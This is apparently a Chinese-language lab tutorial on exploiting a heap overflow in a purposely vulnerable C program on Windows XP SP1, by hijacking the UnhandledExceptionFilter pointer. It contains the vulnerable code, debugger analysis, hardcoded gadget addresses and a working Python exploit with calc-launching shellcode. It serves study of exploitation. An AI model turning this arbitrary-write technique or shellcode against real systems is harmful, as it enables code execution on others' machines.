二进制漏洞-Windows XP SP1利用UEF机制进行堆溢出漏洞利用

本文是对fuzzysecurity教程Heap Overflows For Humans 101学习过程的记录，网上很多师傅介绍过。我在学习过程中也是看了很多师傅介绍的文章才成功完成漏洞利用，希望这篇文章也能给在学习堆溢出漏洞的读者有所帮助。

环境配置

Windows XP SP1
调试器 OllyDebugger，mona 插件
Visual C++ 6.0
Python 2.7.1

编译程序

#include <stdio.h>
#include <windows.h>
  
int foo(char *buf);
 
int main(int argc, char *argv[])
{
        HMODULE l;
        l = LoadLibrary("msvcrt.dll");
        l = LoadLibrary("netapi32.dll");
        printf("\n\nHeapoverflow program.\n");
        if(argc != 2)
                return printf("ARGS!");
        foo(argv[1]);
        return 0;
}
 
int foo(char *buf)
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
 
    hp = HeapCreate(0,0x1000,0x10000);
    if(!hp)
      return printf("Failed to create heap.\n");
 
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
    printf("HEAP: %.8X %.8X\n",h1,&h1);
 
    strcpy((char*)h1,buf);
 
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
    printf("hello");
    return 0;
}

编译成程序 HeapOver.exe

定位溢出点

用 mona 插件执行命令!mona pattern_create 400生成 400 个字符

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

用调试器打开文件，在文件窗口中的参数（Arguments）一栏输入这 400 个字符

点击运行，程序运行到地址 0x77F5234C发生内存访问异常，第一个分配的堆块地址已经打印出来是0x003D0688

此时的 EAX = 0x41326A41，ECX = 316A4130，EAX 和 ECX 均被溢出数据所覆盖，所以在执行MOV DWORD PTR DS:[EAX], ECX时无法正常访问0x41326A41的数据，造成内存访问异常。

下面使用 mona 命令!mona pattern_offset 0x41326A41计算一下 EAX 偏移值，结果为276。

!mona pattern_offset 0x316A4130计算一下 ECX 偏移值，结果为272。

每个堆块的起始处是一个 8 字节的 HEAP_ENTRY 结构

kd> dt _HEAP_ENTRY
ntdll!_HEAP_ENTRY
   +0x000 Size             : Uint2B//堆块的大小，以分配粒度为单位
   +0x002 PreviousSize     : Uint2B//前一个堆块的大小
   +0x004 SmallTagIndex    : UChar //用于检查堆溢出的Cookie
   +0x005 Flags            : UChar //标志
   +0x006 UnusedBytes      : UChar //为了对齐而多分配的字节数
   +0x007 SegmentIndex     : UChar //这个堆块所在堆段的序号

为了满足 8 字节对齐，堆管理器会在第一个堆块后面填充 4 字节，也就是UnusedBytes，260 + 4 可以整除 8。根据前面的源代码可知，程序在拷贝 400 个字符串后面，分配了第二个堆内存。Windows XP 在管理堆内存时，会使用两个双链表指针，ECX 为前一指针的值，而 EAX 为后一指针的值。
根据以上信息，可以分析通过参数传入的 400 个字符所覆盖的部分内存区域如下所示：

系统在管理堆时会做如下操作：

1 2	`mov [ecx]，eax` `mov [eax+4]，ecx`

该操作的目的是在分配内存时改变链表的指向。堆管理的操作的本质是对链表的修改。双向链表拆卸一个节点的代码应该类似于下面的：

int remove(ListNode *node)
{
    node->blink->flink = node->flink;
    node->flink->blink = node->blink;
}

上面在实际环境下对应的汇编代码如下：

此时 EAX 是进行漏洞利用的理想溢出点，因为mov [eax]，ecx可以向内存任意地址写入任意数据。例如在 ECX 写入一个函数入口点，在 EAX 写入 shellcode 地址，如下图所示。

这样一来，在mov [eax]，ecx执行后，函数入口地址就会被替换为 shellcode 的地址，现在关键的问题是如何找到可供利用的函数。

构造 sehllcode

漏洞利用原理

在造成堆溢出后，程序遇到内存访问异常，会触发异常处理机制，调用KiUserExceptionDispatcher分发异常，当 SEH 链上的异常处理程序都未能处理异常时，系统会调用UnhandledExceptionFilter进行处理，这个函数负责显示一个错误对话框，来指出错误的原因，这就是一般的程序出错时显示错误对话框的异常处理机制，也被称作 UEF 机制。

KiUserExceptionDispatcher( PEXCEPTION_RECORD pExcptRec, CONTEXT * pContext )  
 {  
     DWORD retValue;  
    
     // Note: If the exception is handled, RtlDispatchException() never returns  
     if ( RtlDispatchException( pExceptRec, pContext ) )  
         retValue = NtContinue( pContext, 0 );  
     else 
         retValue = NtRaiseException( pExceptRec, pContext, 0 );  
    
     EXCEPTION_RECORD excptRec2;  
    
     excptRec2.ExceptionCode = retValue;  
     excptRec2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;  
     excptRec2.ExceptionRecord = pExcptRec;  
     excptRec2.NumberParameters = 0;  
    
     RtlRaiseException( &excptRec2 );  
 } 

UnhandledExceptionFilter可以放在一个距离堆块数据偏移 276 个字节的位置，shellcode 的地址可以放在距离堆块数据偏移 2762 个字节的地方，如下图所示。

这样在程序发生内存访问异常时，系统会调用UnhandledExceptionFilter函数，但因为mov [eax]，ecx，UnhandledExceptionFilter函数地址所指向的内容被替换成了shellcode。因此系统在调用UnhandledExceptionFilter处理异常时，实际上是在执行 shellcode。
这就是利用 windows UEF 机制进行堆溢出漏洞利用的基本原理。接下来需要弄清楚的是UnhandledExceptionFilter地址和 shellcode 的存放地址。

UnhandledExceptionFilter 函数地址

在 Windows XP SP1 中，系统的默认异常处理函数地址是固定的。默认异常处理指针通过如下函数来设置：

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
  [in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

默认异常处理指针通过如下函数来调用：

LONG UnhandledExceptionFilter(
  [in] _EXCEPTION_POINTERS *ExceptionInfo
);

在调试器搜索SetUnhandledExceptionFilter 地址，UnhandledExceptionFilter地址为0x77ED73B4

在内存窗口查看了0x77ED73B4处的值为0x77C26E79，也就是说系统调用UnhandledExceptionFilter后会跳转到0x77C26E79执行。

shellcode 存放地址

继续上面的调试，即在遇到内存访问错误后，按shift + F7继续调试，在77E9311E FFD0 CALL EAX 断下之后，查看 EAX 的值是0x77C26E79，这也就意味着此时UnhandledExceptionFilter的起始地址传送到了EAX 中，并通过CALL EAX进行异常处理。
查看此时的寄存器窗口，EDI 的值0x0012F8BC。

发现EDI + 0x74即 0x0012F930 的值为0x003D0790，这是指向第一个堆区内部某处的指针。

所以我们将 shellcode 存放在[EDI + 0x74]，这样 Call [EDI + 0x74]就可以执行 shellcode。在netapi32.dll、msvcrt.dll 等动态链接库中可以找到这种指令，所以程序的源代码需要加载这些 dll，以方便利用。搜索后找到了该指令，地址为0x77C3BBAD。

综上：

EAX 应该被UnhandledExceptionFilter的地址0x77ED73B4所覆盖；
ECX 应该被call dword ptr ds:[EDI+74]的地址0x77C3BBAD所覆盖；
shellcode 的起始地址应该是0x003D0790，距离第一个堆区的。

shellcode 组成

以下是一个用于测试的 shellcode ，测试一下第一次跳转是否有效，即程序调用UnhandledExceptionFilter 后 exploit 能否控制程序跳转到第一个堆区中。

exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\xcc" * 272)

漏洞利用

第一次测试

将上面生成的 exploit 调试一下发现，程序确实成功跳转到了第一个堆区中，但由于 INT 3 指令中断，无法自行向下继续执行 shellcode。即使手动向下执行，也会遇到0x77C3BBAD、0x77ED73B4这两块数据的阻碍。

shellcode 需要修改一下，用\x44 或者\x90 填充缓冲区，在精准覆盖溢出点后造成堆溢出后，第一次跳转到堆区中的 shellcode 的起始地址0x003D0790，第一个堆区应该填充0x003D0790 - 0x3D0688 即 264 个字符；再经由第二个跳转指令 JMP，跳过0x77C3BBAD、0x77ED73B4这两块数据的阻碍，最终执行 payload。

确定WinExec()函数的地址

在此之前先确定WinExec()函数的地址，以方便构造一个可以弹出计算器的 payload，以检验漏洞利用是否成功。
使用 PE 工具查看系统的 kernel32.dll，加载基址为77E60000

WinExec()函数的偏移地址为0x0000FD35

所以WinExec()函数的加载地址为0x77E6FD35

完善 shellcode

import os
  
calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x35\xFD\xE6\x77"        # WinExec 地址
"\xFF\xD1\x90\x90")
  
exploit = ("\x44" * 264)
exploit += "\xeb\x14"           # JMP指令，可以跳过0x14个字节
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += calc
  
os.system('HeapOver.exe ' + exploit)

以下是完善后的 shellcode 的执行逻辑：

第二次测试

将上面的 Python 脚本保存为1.py，和程序HeapOver.exe放在同一个文件夹中，可以通过 CMD 命令执行上面的 Python 脚本弹出计算器。

也可以生成 exploit 的字符串后，传入参数，再次调试运行，查看漏洞利用的细节。
堆溢出造成内存访问错误时，ECX = 0x77C3BBAD，EAX = 0x77ED73B4，说明精准覆盖了第二个堆块的双链表指针。

运行到77E9311E FFD0 CALL EAX时，EAX 的值是0x77C3BBAD，说明系统调用异常处理函数UnhandledExceptionFilter时，可以顺利跳转到CALL DWORD PTR DS:[EDI+74]，执行 shellcode。

单步执行，指令正是CALL DWORD PTR DS:[EDI+74]

再单步执行一次，跳转到了0x003D0790就可以看到真正的 payload

跳转指令执行后就可以顺利执行 payload 弹出计算器了。